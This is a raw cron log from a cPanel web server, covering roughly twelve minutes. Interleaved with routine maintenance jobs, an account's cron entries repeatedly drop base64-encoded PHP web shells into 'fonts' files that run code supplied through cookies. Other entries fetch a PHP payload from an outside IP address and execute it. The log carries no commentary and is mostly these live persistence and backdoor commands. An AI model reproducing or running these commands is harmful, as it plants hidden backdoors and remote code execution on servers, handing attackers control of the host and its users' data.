Feb 22 20:56:01 ip-184-168-122-23 CROND[24860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:56:01 ip-184-168-122-23 CROND[24859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:57:01 ip-184-168-122-23 CROND[25175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:57:01 ip-184-168-122-23 CROND[25176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:57:01 ip-184-168-122-23 CROND[25177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:57:01 ip-184-168-122-23 CROND[25179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:58:01 ip-184-168-122-23 CROND[25507]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:58:01 ip-184-168-122-23 CROND[25510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:58:01 ip-184-168-122-23 CROND[25511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:58:01 ip-184-168-122-23 CROND[25508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:58:01 ip-184-168-122-23 CROND[25509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:59:02 ip-184-168-122-23 CROND[25835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:59:02 ip-184-168-122-23 CROND[25834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:59:02 ip-184-168-122-23 CROND[25837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:59:02 ip-184-168-122-23 CROND[25839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:00:01 ip-184-168-122-23 CROND[26236]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 21:00:01 ip-184-168-122-23 CROND[26239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:00:01 ip-184-168-122-23 CROND[26244]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 21:00:01 ip-184-168-122-23 CROND[26240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:00:01 ip-184-168-122-23 CROND[26242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:00:01 ip-184-168-122-23 CROND[26245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:00:01 ip-184-168-122-23 CROND[26249]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 21:00:01 ip-184-168-122-23 CROND[26251]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:01:01 ip-184-168-122-23 CROND[26594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:01:01 ip-184-168-122-23 CROND[26595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:01:01 ip-184-168-122-23 CROND[26597]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 21:01:01 ip-184-168-122-23 CROND[26601]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 21:01:01 ip-184-168-122-23 CROND[26599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:01:01 ip-184-168-122-23 CROND[26602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26601]: starting 0anacron
Feb 22 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26616]: finished 0anacron
Feb 22 21:02:01 ip-184-168-122-23 CROND[26944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:02:01 ip-184-168-122-23 CROND[26946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:02:01 ip-184-168-122-23 CROND[26947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:02:01 ip-184-168-122-23 CROND[26948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:02:01 ip-184-168-122-23 CROND[26949]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:03:01 ip-184-168-122-23 CROND[27297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:03:01 ip-184-168-122-23 CROND[27298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:03:01 ip-184-168-122-23 CROND[27301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:03:01 ip-184-168-122-23 CROND[27302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:04:01 ip-184-168-122-23 CROND[27628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:04:01 ip-184-168-122-23 CROND[27629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:04:01 ip-184-168-122-23 CROND[27627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:04:01 ip-184-168-122-23 CROND[27633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:04:01 ip-184-168-122-23 CROND[27631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:05:01 ip-184-168-122-23 CROND[28030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:05:01 ip-184-168-122-23 CROND[28031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:05:01 ip-184-168-122-23 CROND[28032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:05:01 ip-184-168-122-23 CROND[28039]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 21:05:01 ip-184-168-122-23 CROND[28036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:05:01 ip-184-168-122-23 CROND[28038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 21:05:01 ip-184-168-122-23 CROND[28041]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 21:06:01 ip-184-168-122-23 CROND[28403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:06:01 ip-184-168-122-23 CROND[28405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:06:01 ip-184-168-122-23 CROND[28407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:06:01 ip-184-168-122-23 CROND[28406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:06:01 ip-184-168-122-23 CROND[28408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:07:01 ip-184-168-122-23 CROND[28729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 21:07:01 ip-184-168-122-23 CROND[28731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 21:07:01 ip-184-168-122-23 CROND[28732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 21:07:01 ip-184-168-122-23 CROND[28733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:08:01 ip-184-168-122-23 CROND[29050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 21:08:01 ip-184-168-122-23 CROND[29051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 21:08:01 ip-184-168-122-23 CROND[29053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
